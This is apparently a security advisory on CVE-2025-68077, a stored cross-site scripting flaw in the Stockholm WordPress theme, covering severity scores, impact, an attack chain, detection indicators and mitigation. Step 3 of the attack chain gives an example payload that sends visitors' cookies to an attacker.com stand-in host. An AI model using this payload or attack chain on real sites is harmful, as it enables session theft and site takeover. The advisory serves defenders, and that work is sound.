CVE-2025-68077: 
WordPress vulnerability analysis and mitigation

CVE-2025-68077 is a Stored Cross-Site Scripting (XSS) vulnerability in the Stockholm WordPress theme developed by Select-Themes. It affects all versions of the Stockholm theme through 9.14.1, with no official patch available as of the time of disclosure. The vulnerability was discovered by João Pedro S Alcântara (Kinorth), reported on September 18, 2025, and published by Patchstack on October 18, 2025, with CVE assignment on December 16, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant, meaning malicious scripts are persistently saved on the server and executed in victims' browsers upon page load. Exploitation requires a low-privileged authenticated user (Contributor or Developer role) to inject a malicious payload, and successful impact requires a privileged user to interact with the affected content (e.g., viewing a crafted page). The attack vector is network-based with low attack complexity, and the scope is changed — meaning the injected script can affect resources beyond the vulnerable component itself (Patchstack).

Successful exploitation allows an attacker with Contributor-level access to inject persistent malicious scripts into WordPress pages rendered by the Stockholm theme, which execute in the browsers of site visitors or administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of visitors to malicious sites. The changed scope means the impact extends beyond the authenticated user's session to affect all users viewing the compromised content, including site administrators (Patchstack).

There is no public evidence of active in-the-wild exploitation or known exploit code for CVE-2025-68077 at this time. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority, noting it is unlikely to be exploited despite the general risk that XSS vulnerabilities are used in mass-exploit campaigns targeting WordPress sites (Patchstack).

1. Reconnaissance: Identify WordPress sites using the Stockholm theme (version ≤ 9.14.1) via web fingerprinting tools or by inspecting page source for theme references.
2. Obtain low-privileged access: Register or obtain credentials for a Contributor or Developer account on the target WordPress site.
3. Inject malicious payload: Using the authenticated account, create or edit content (e.g., a post or page) within the Stockholm theme's vulnerable input field, embedding a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Trigger execution: Wait for a privileged user (e.g., administrator) or site visitor to view the page containing the injected content, causing the malicious script to execute in their browser.
5. Achieve objective: Harvest session cookies, perform actions on behalf of the victim, or further compromise the site depending on the victim's privilege level (Patchstack).

• Logs: WordPress access logs showing POST requests to content creation/editing endpoints (e.g., /wp-admin/post.php) from low-privileged accounts containing script tags or encoded JavaScript payloads.
• File System / Database: WordPress database entries in wp_posts or related tables containing <script>, javascript:, onerror=, or other XSS indicators within post content associated with the Stockholm theme.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages rendered by the Stockholm theme, potentially carrying cookie or session data in query parameters.
• Process/Behavior: Unexpected administrative actions (new admin user creation, plugin installation, settings changes) occurring after an administrator views a page with injected content.

As of the time of disclosure, no official patch has been released by Select-Themes for the Stockholm theme. Site administrators should monitor for an updated version beyond 9.14.1 and apply it immediately upon release. In the interim, restrict Contributor and Developer role permissions to trusted users only, and consider using a Web Application Firewall (WAF) or a WordPress security plugin such as Patchstack to virtually patch the vulnerability. Disabling the ability for lower-privileged users to publish unreviewed content can also reduce exposure (Patchstack).

The vulnerability was discovered and disclosed through Patchstack's Vulnerability Disclosure Program (VDP) by researcher João Pedro S Alcântara (Kinorth). Patchstack classifies the issue as low priority with limited exploitation likelihood. No significant vendor statements, notable researcher commentary beyond the initial disclosure, or major media coverage have been identified for this CVE.